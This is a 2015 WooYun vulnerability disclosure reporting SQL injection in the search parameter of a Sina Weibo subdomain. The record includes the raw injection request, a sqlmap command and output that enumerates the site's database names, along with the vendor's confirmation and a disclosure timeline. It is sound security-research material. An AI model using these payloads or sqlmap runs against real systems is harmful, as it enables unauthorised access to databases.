新浪微博某分站SQL注射

编号122589
Urlhttp://www.wooyun.org/bug.php?action=view&id=122589
漏洞状态厂商已经确认
漏洞标题新浪微博某分站SQL注射
漏洞类型SQL注射漏洞
厂商新浪微博
白帽子Jannock
提交日期2015-06-24 22:34:00
公开日期2015-08-09 12:16:00
修复时间(not set)
确认时间2015-06-25 00:00:00
Confirm Spend1
漏洞标签php+字符类型注射
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank5
漏洞简介
新浪微博某分站SQL注射
漏洞细节

GET /hiddphp.php?ac=search&q=ssss%27%20or%202=if((1=1 * ),1,(select%201%20from%20information_schema.tables))%20and%20%27%27=%27&type=1&limit=20&page=0&_=1435155437564 HTTP/1.1
Host: lady.weibo.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://lady.weibo.com/hiddphp.php?ac=search&q=sd%5C%27j&type=1&limit=20&page=0&_=1435155437564
Cookie: cookie
Connection: close


q 参数存在SQL注入。

POC

python sqlmap.py -r 1.txt --dbms=mysql --technique=B --threads 5 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150211}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:26:28
1.txt
[22:26:28] [INFO] parsing HTTP request from '1.txt'
1.txt
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[22:26:30] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://lady.weibo.com:80/hiddphp.php?ac=search&q=ssss' or 2=if((1=1
) AND 8416=8416 AND (4071=4071 ),1,(select 1 from information_schema.tables)) a
nd ''='&type=1&limit=20&page=0&_=1435155437564
---
[22:26:33] [INFO] testing MySQL
[22:26:33] [INFO] confirming MySQL
[22:26:33] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[22:26:33] [INFO] fetching database names
[22:26:33] [INFO] fetching number of databases
[22:26:33] [INFO] retrieved: 3
[22:26:38] [INFO] retrieving the length of query output
[22:26:38] [INFO] retrieved: 18
[22:27:18] [INFO] retrieved: information_schema
[22:27:18] [INFO] retrieving the length of query output
[22:27:18] [INFO] retrieved: 4
[22:27:32] [INFO] retrieved: test
[22:27:32] [INFO] retrieving the length of query output
[22:27:32] [INFO] retrieved: 4
[22:27:44] [INFO] retrieved: tvic
available databases [3]:
[*] information_schema
[*] test
[*] tvic

修复方案

过滤

状态信息 2015-06-24: 细节已通知厂商并且等待厂商处理中
2015-06-25: 厂商已经确认,细节仅向厂商公开
2015-07-05: 细节向核心白帽子及相关领域专家公开
2015-07-15: 细节向普通白帽子公开
2015-07-25: 细节向实习白帽子公开
2015-08-09: 细节向公众公开
厂商回复感谢关注新浪安全,安全问题修复中。
回应信息危害等级:中漏洞Rank:5 确认时间:2015-06-25 12:14
Showing 1-5 of 5 items.
评论内容评论人点赞数评论时间

rank给少了

0x 8002015-08-09 13:55:00

新浪有福利么

Taro02015-06-25 09:40:00

新浪的什么福利?求分享

温柔的逍遥02015-06-24 23:59:00

牛x

justpluto02015-06-24 23:22:00

各位大神,新浪是不是有福利了?一会一个....

anting02015-06-24 22:39:00